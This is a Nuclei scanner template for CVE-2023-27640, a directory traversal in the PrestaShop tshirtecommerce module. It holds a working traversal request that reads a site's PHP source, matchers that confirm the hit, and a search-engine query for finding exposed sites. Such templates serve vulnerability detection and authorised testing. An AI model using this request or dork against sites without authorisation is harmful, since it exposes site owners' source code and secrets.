nuclei-templates/http/cves/2023/CVE-2023-27640.yaml

34 lines
1.3 KiB
YAML

id: CVE-2023-27640
info:
name: PrestaShop tshirtecommerce - Directory Traversal
author: MaStErChO
severity: high
description: |
The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
reference:
- https://www.cvedetails.com/cve/CVE-2023-27640/
- https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27640
classification:
cve-id: CVE-2023-27640
metadata:
max-request: 1
product: tshirtecommerce
framework: prestashop
google-query: inurl:"/tshirtecommerce/"
tags: cve,cve2023,prestashop,tshirtecommerce,lfi
http:
- method: GET
path:
- "{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains_all(base64_decode(body), "PrestaShop", "<?php")'
condition: and
# digest: 4a0a004730450221009e4ef4e4020d142967f3da1211918a79551d8f2bb45258e880d39572a37c183a022044c61aa43184dadbd8af78d67d971f48158db6262867def11db0117efd10fd10:922c64590222798bb761d5b6d8e72950